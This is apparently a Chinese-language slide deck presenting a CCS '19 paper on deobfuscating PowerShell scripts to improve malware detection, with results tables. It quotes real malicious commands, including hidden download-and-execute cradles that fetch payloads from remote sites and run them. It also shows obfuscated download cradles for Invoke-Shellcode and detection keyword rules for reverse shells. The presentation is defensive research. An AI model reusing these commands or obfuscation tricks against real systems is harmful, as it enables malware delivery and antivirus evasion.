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高效的 PowerShell 脚本解混淆系统及对应的 检测方案设计

Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for PowerShell Scripts. (CCS '19)

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Road Map

1. 研究动机介绍
2. 相关工作比较
3. 结合例子介绍具体技术
4. 实验结果介绍
5. 总结

研究动机

I. 基于 PowerShell 的攻击发生的频率逐年上升 ^{1,2}

- **432%** between 2016 – 2017,
- **661%** between 2017 –2018,
- **460%** in the first quarter of 2019.

PowerShell 在所有攻击中出现的频率达到 **45%** 。



THE INCREASED USE OF POWERSHELL IN ATTACKS

v1.0

```
powershell -w hidden -ep bypass -nop -c "IEX ((New-Object System.Net.WebClient).DownloadString('http://p00t010.com/raw/[REMOVED]'))"
```

```
powershell.exe -window hidden -enc K4B0A0[REMOVED]
```

```
Cmd.exe /C powershell $random = New-Object System.Random; foreach($url in @((http://[REMOVED]academy.com/wp-content/themes/twentyeleven/st1.exe), (http://[REMOVED].com.au/wp-content/plugins/espresso-social/st1.exe), (http://[REMOVED].net/wp-includes/st1.exe), (http://[REMOVED].rosto.com/wp-content/plugins/wp-super-cache/plugins/st1.exe), (http://[REMOVED].ru/wp-content/themes/twentyeleven/st1.exe))) { try { $rnd = $random.Next(0, 65536); $path = '$tmp%\'+ [string] $rnd + '.exe'; (New-Object System.Net.WebClient).DownloadFile($url.ToString(), $path); Start-Process $path; break; } catch { Write-Host $error[0].Exception } }
```

```
cmd.exe /c powershell "ax'w'ra's'c'p'1'1'0'p'p'1'c'y'0'p'p'1'0's'
```

1. <https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/increased-use-of-powershell-in-attacks-16-en.pdf>

2. <https://www.mcafee.com/enterprise/en-us/assets/reports/rp-quarterly-threats-aug-2019.pdf>

研究动机 – 现代攻击中的 PowerShell

“Live-off-the-Land”

1. PowerShell 被**预装**在大多数 Windows 系统的主机上。
2. PowerShell 可以作为一种管理员工具，很容易访问和利用 **Windows 组件**。

“Fileless Attack”

1. PowerShell 可以**直接从内存中执行**而不需要涉及到文件。

“Obufscation”

1. PowerShell 作为一种**动态语言**，灵活性很强，容易被混淆。

研究动机

I. 基于 PowerShell 的攻击发生的频率逐年上升 ^{1,2}

- **432%** between 2016 – 2017,
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PowerShell 在所有攻击中出现的频率达到 **45%** 。

II. 混淆是阻碍反病毒引擎查杀包括 PowerShell 在内的恶意程序的最大元凶。

THE INCREASED USE OF POWERSHELL IN ATTACKS



v1.0

```
powershell -w hidden -ep bypass -nop -c "IEX ((New-Object System.Net.WebClient).DownloadString('http://[REMOVED].com/raw/[REMOVED]'))"
```

```
powershell.exe -window hidden -enc K4B0A0[REMOVED]
```


```
Cmd.exe /C powershell $random = New-Object System.Random; foreach($url in @((http://[REMOVED]academy.com/wp-content/themes/twentyeleven/stl.exe), (http://[REMOVED].com.au/wp-content/plugins/expresso-social/stl.exe), (http://[REMOVED].net/wp-includes/stl.exe), (http://[REMOVED].rosto.com/wp-content/plugins/wp-super-cache/plugins/stl.exe), (http://[REMOVED].ru/wp-content/themes/twentyeleven/stl.exe))) { try { $rnd = $random.Next(0, 65536); $path = 'Stmp%' + [string] $rnd + '.exe'; (New-Object System.Net.WebClient).DownloadFile($url.ToString(), $path); Start-Process $path; break; } catch { Write-Host $error[0].Exception } }
```

```
Cmd.exe /C powershell "ax /s 'http://[REMOVED].com/raw/[REMOVED]'"
```

1. <https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/increased-use-of-powershell-in-attacks-16-en.pdf>

2. <https://www.mcafee.com/enterprise/en-us/assets/reports/rp-quarterly-threats-aug-2019.pdf>

研究动机 - 混淆对反病毒引擎的影响




Samples	VirusTotal	Deobfuscation + VirusTotal
(Malicious) Original	100%	100%
(M) S ₁	0.00%	76.00%
(M) S ₂	8.00%	90.60%
(M) S ₃	2.60%	96.00%
(M) S ₄	0.00%	97.30%
(Benign) Original, S ₁ -4	0.00%	0.00%

TP
+87.3%

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
相关工作比较 - 传统的解混淆方案存在的问题



传统的三阶段的方法:

1. **粗粒度的混淆检测**: 不能处理局部混淆, 可能导致漏报误报。
2. **解混淆逻辑需手工**: 需要大量手工工作, 无法处理未知混淆
3. **各阶段逻辑未整合**: 每个阶段的逻辑需要独立实现。

相关工作比较 - 我们的解决方案



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PowerShell 的语义分析

```
Invoke-Expression (New-Object Net.WebClient)  
.DownloadString("hxxps://.../Invoke-Shellcode.ps1")
```



- **Invoke-Expression**
- **Net.WebClient**
- **.DownloadString()**
- **"Invoke-Shellcode.ps1"**



Malicious

PowerShell 的混淆方法 - Invoke-Obfuscation^[1]

```
& ($env:comspEC[4,15,25]-jOIN' ') (New-Object  
Net.WebClient).DownloadString("hxxps://.../Invoke  
-Shellcode.ps1")
```

```
"New-Object" = {1}{0}{2}"-f'w-ob','Ne','ject'  
"Net.WebClient" = "Net.W" + "ebClient"  
"DownloadString" = "dow`n10Ad`stRIng"
```

Recoverable Script Pieces

PowerShell 的混淆方法 - Invoke-Obfuscation^[1]

```
& ($eNv:comspEC[4,15,25]-jOIN``)  
(.("{1}{0}{2}"-f`w-ob`,`Ne`,`ject`)  
("Net.W" + "ebClient"))  
.("dow`nload`stRing").Invoke  
("hxxps://.../Invoke-Shellcode.ps1")
```

PowerShell 的混淆方法 - Invoke-Obfuscation^[1]

```
(New-obJeCT ManAgeMEnt.aUtOmaTion.PscREDeNTiAL  
' ', ('7UA...AwADgAMQA1ADMANQBkAGYAMQBlAGUAZQBi  
ADYAMgAzADkAZQBmAGUANwA0ADQANwBjADkANgBhADAAYQB  
kADQAZAAyAGMAYwA0AGQAMgBkADMAMAA3ADYANgBmADgANg  
A0AGMANgAzADgA' | CONVErtTO-sEcureString -  
kE (195..180)) ).GetNetWoRKCrEDeNTial().PAsSWor  
d | & ( $eNv:puBLIC[13]+$EnV:puBLIC[5]+'X' )
```

混淆后的脚本基本不反应原始脚本语义，很难直接用于检测。

解混淆 - 解析 PowerShell 的抽象语法树 (裁剪后)

```
&($eNv:comspEC[4,15,25]-jOIN``) (. ("{1}{0}{2}"-f`w-ob', `Ne', `ject')  
("Net.W" + `ebClient")). ("dow`nLOAd`stRING").Invoke(('6...1'.SPLiT(`-  
qO!y@XM') |  
fOrEACH {[chAr]([cONvErT]::ToInt16(($_.tostrING()),16 ))})-JOIN``)
```

```
$eNv:comspEC[4,15,25]-jOIN``
```

```
('6...1'.SPLiT(`-qO!y@XM') | fOrEACH  
{([chAr]([cONvErT]::ToInt16(  
($_.tostrING()),16 ))})-JOIN``
```

```
. ("{1}{0}{2}"-f`w-ob', `Ne', `ject') ("Net.W" + `ebClient")
```

```
"{1}{0}{2}"-f`w-ob', `Ne', `ject'
```

```
"Net.W" + `ebClient"
```

解混淆 - 自底向上的遍历 & 抽象语法树的更新

```
&($eNv:comspEC[4,15,25]-jOIN``) (. ("{1}{0}{2}"-f`w-ob', `Ne', `ject')  
("Net.W" + `ebClient")). ("dow`nLOAd`stRING"). Invoke(('6...1'. SPLiT(`-  
qO!y@XM') |  
fOrEACH {[chAr]([cONvErT]::ToInt16(($_.tostrING()),16))})-JOIN``)
```

```
$eNv:comspEC[4,15,25]-jOIN``
```

"IeX"

```
('6...1'. SPLiT(`-qO!y@XM') | fOrEACH  
{([chAr]([cONvErT]::ToInt16(  
($_.tostrING()),16))})-JOIN``
```

"hxxps://.../Invoke-Shellcode.ps1"

```
. ("{1}{0}{2}"-f`w-ob', `Ne', `ject') ("Net.W" + `ebClient")
```

```
"{1}{0}{2}"-f`w-ob', `Ne', `ject'
```

"New-Object"

```
"Net.W" + `ebClient"
```

"Net.WebClient"

解混淆 - 自底向上的遍历 & 抽象语法树的更新

```
&($eNv:comspEC[4,15,25]-jOIN``) (. ("{1}{0}{2}"-f`w-ob', `Ne', `ject')  
("Net.W" + `ebClient")). ("dow`nLOAd`stRING"). Invoke(('6...1'. SPLiT(`-  
qO!y@XM') |  
fOrEACH {[chAr]([cONvErT]::ToInt16(($_.toStrING()),16))})-JOIN``)
```

```
$eNv:comspEC[4,15,25]-jOIN``
```

```
"IeX"
```

```
('6...1'. SPLiT(`-qO!y@XM') | fOrEACH  
{([chAr]([cONvErT]::ToInt16(  
($_.toStrING()),16))})-JOIN``
```

```
"hxps://.../Invoke-Shellcode.ps1"
```

```
. ( "New-Object" "Net.WebClient")
```

```
"{1}{0}{2}"-f`w-ob', `Ne', `ject'
```

```
"Net.W" + `ebClient"
```

解混淆 - 自底向上的遍历 & 抽象语法树的更新

```
& ("IeX") (. ("New-Object")  
("Net.WebClient")) .  
("downloadString") . Invoke ("https://...  
/Invoke-Shellcode.ps1")
```

↓
Post-Process

```
IeX (New-Object Net.WebClient) .  
downloadString ("https://.../Invoke-  
Shellcode.ps1")
```

当整个抽象语法树种没有混淆子树时解混淆过程结束。

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实验结果 I - 解混淆对代码相似度的提升

Obfuscation schemes	Obfuscated	Deobfuscated (PSDEM)	Deobfuscated (our approach)
S ₁	1.80%	70.60%	71.50%
S ₂	0.10%	79.50%	79.00%
S ₃	0.01%	0.01%	82.90%
S ₄	0.00%	0.00%	85.20%
Overall	0.50%	37.50%	79.70%

Obfuscated Baseline

+79.2%

+42.2%

实验结果 II - 解混淆对检测的提升


Samples		Defender	Deobfuscation + Defender	VirusTotal	Deobfuscation + VirusTotal
Malicious	Original	89.30%	89.30%	100%	100%
	S1	0.00%	48.00%	0.00%	76.00%
	S2	1.30%	78.60%	8.00%	90.60%
	S3	0.00%	84.00%	2.60%	96.00%
	S4	0.00%	89.30%	0.00%	97.30%
Benign	Original, S1-4	0.00%	0.00%	0.00%	0.00%

TP
+74.7%

TP
+87.3%

FP
+0%

实验结果 III - 解混淆的效率（用普通家用电脑实验）




平均的
解混淆速度为
 $\sim 5.4 \text{ Kb} / 0.5 \text{ s}$

$2/3$

的解混淆时间
用于模拟器的
模拟执行

基于解混淆的检测系统设计 - 解混淆放在最前面



基于解混淆的检测系统设计 - 特征举例

OOA rules	Description
NewTask, RegisterTaskDefinition, ...	Scheduled task COM
FromImage, CopyFromScreen, ...	Get-TimedScreenshot
VirtuAlloc, Memset, CreateThread, ...	Reflective Loading
DownloadString, Invoke-Expression	IEX Downloaded String
DownloadFile, Start-Process	Download & Execution
UseshellExecute, TcpClient, RedirectStandardOutput, GetStream, GetString, Invoke-Expression, ...	Reserve shell

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Conclusions and Takeaway

我们针对攻击者常用工具 PowerShell 的混淆难题，

- (1) 通过对抽象语法子树**细粒度**的分析，准确定位混淆片段；
- (2) 利用混淆脚本**自身逻辑**进行解混淆，减少了手工分析的工作，可以处理**未知混淆**，提高了鲁棒性；
- (3) 最后将混淆检测、解混淆逻辑、验证三个阶段有机的**结合**在一起，可以处理**多层混淆**。

实现了第一个轻量且有效的 PowerShell 解混淆系统。有效的提升了解混淆后脚本的检测精度。

Thank you !

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Back-up Pages

Comparison with state-of-the-art approaches

The accuracy of obfuscation detection

Obfuscation detection	TPR	FPR
Our approach	100%	1.80%
PSDEM [41]	49.90%	22.20%

Comparison with state-of-the-art detection approaches in TPR

Detection approaches	Obfuscated scripts	Deobfuscated scripts	Mixed scripts
Our approach	-	92.30%	92.30%
AST-based [53]	0.00%	90.70%	9.60%
Character-based [32]	12.10%	95.70%	34.70%

Break-down Analysis

Deobfuscation phases	Recovery similarity	Time	Detection accuracy
w/ all 5 phases	80%	0.46s	92.30%
w/o (1) Extract subtrees	-14.70%	+404.30%	-12.40%
w/o (2) Obfuscation detection	-43.70%	+108.70%	-54.70%
w/o (3) Emulation-based Recovery	-43.40%	+83.70%	-53.60%
w/o (4) AST update	-0.60%	-6.50%	-0.10%
w/o (5) Post processing	-7.00%	-2.10%	0.00%

Related Work - Script-based Malware Detection

	Light-Weight	Accuracy	Semantic Awareness
Dynamic det. ^[25,51]	no	high	yes
Static det. ^[20,26,32,53]	yes	low	no
Obfuscation det. ^[14,17,35,38]	yes	low	no
Mostly static deobfuscation	yes	higher	yes

We proposed the **first effective and light-weight deobfuscation approach** for PowerShell.

Challenges

RQ₁: How to detect obfuscation and locate the obfuscated script pieces?

Regular Expression 

ML-based Classifier 

RQ₂: How to restore the original scripts?

String Manipulation 

Emulation-based Recovery 

De-obfuscation – Bottom-up Traverse & AST Update

```
&($eNv:comspEC[4,15,25]-jOIN``) (. ("{1}{0}{2}"-f`w-ob', `Ne', `ject')  
("Net.W" + `ebClient")). ("dow`nLOAD`stRING"). Invoke((`6...1'. SPLiT(`-  
qO!y@XM') |  
fOrEACH {([chAr] ([cONvErT]::ToInt16(($_.tosTrING()), 16 )))}-JOIN``)
```


```
$eNv:comspEC[4,15,25]-jOIN``
```

```
(`6...1'. SPLiT(`-qO!y@XM') | fOrEACH  
{([chAr] ([cONvErT]::ToInt16(  
($_.tosTrING()), 16 )))}-JOIN``
```

```
. ("{1}{0}{2}"-f`w-ob', `Ne', `ject') ("Net.W" + `ebClient")
```

```
"{1}{0}{2}"-f`w-ob', `Ne', `ject'
```

```
"Net.W" + `ebClient"
```



De-obfuscation – Bottom-up Emulation-based Recovery

```
&($eNv:comspEC[4,15,25]-jOIN``) (. ("{1}{0}{2}"-f`w-ob`, `Ne`, `ject')  
("Net.W" + `ebClient"). ("dow`nLOAd`stRING"). Invoke(('6...1'. SPLiT(`-  
qO!y@XM') |  
fOrEACH {([chAr] ([cONvErT]::ToInt16(($_.tostrING()),16 )))}-JOIN``)
```

```
$eNv:comspEC[4,15,25]-jOIN``
```

```
('6...1'. SPLiT(`-qO!y@XM') | fOrEACH  
{([chAr] ([cONvErT]::ToInt16(  
($_.tostrING()),16 )))}-JOIN``
```

```
. ("{1}{0}{2}"-f`w-ob`, `Ne`, `ject') ("Net.W" + `ebClient")
```

```
"{1}{0}{2}"-f`w-ob`, `Ne`, `ject'
```

```
"Net.W" + `ebClient"
```

```
"New-Object"
```

```
"Net.WebClient"
```

De-obfuscation – Bottom-up Traverse & AST Update

```
& ("IeX") (. ("New-Object")  
("Net.WebClient")).  
("downloadstRING").Invoke ("hxxps://...  
/Invoke-Shellcode.ps1")
```

Post-Process

```
IeX (New-Object Net.WebClient).  
downloadstRING ("hxxps://.../Invoke-  
Shellcode.ps1")
```

Obfuscated Subtree
Stack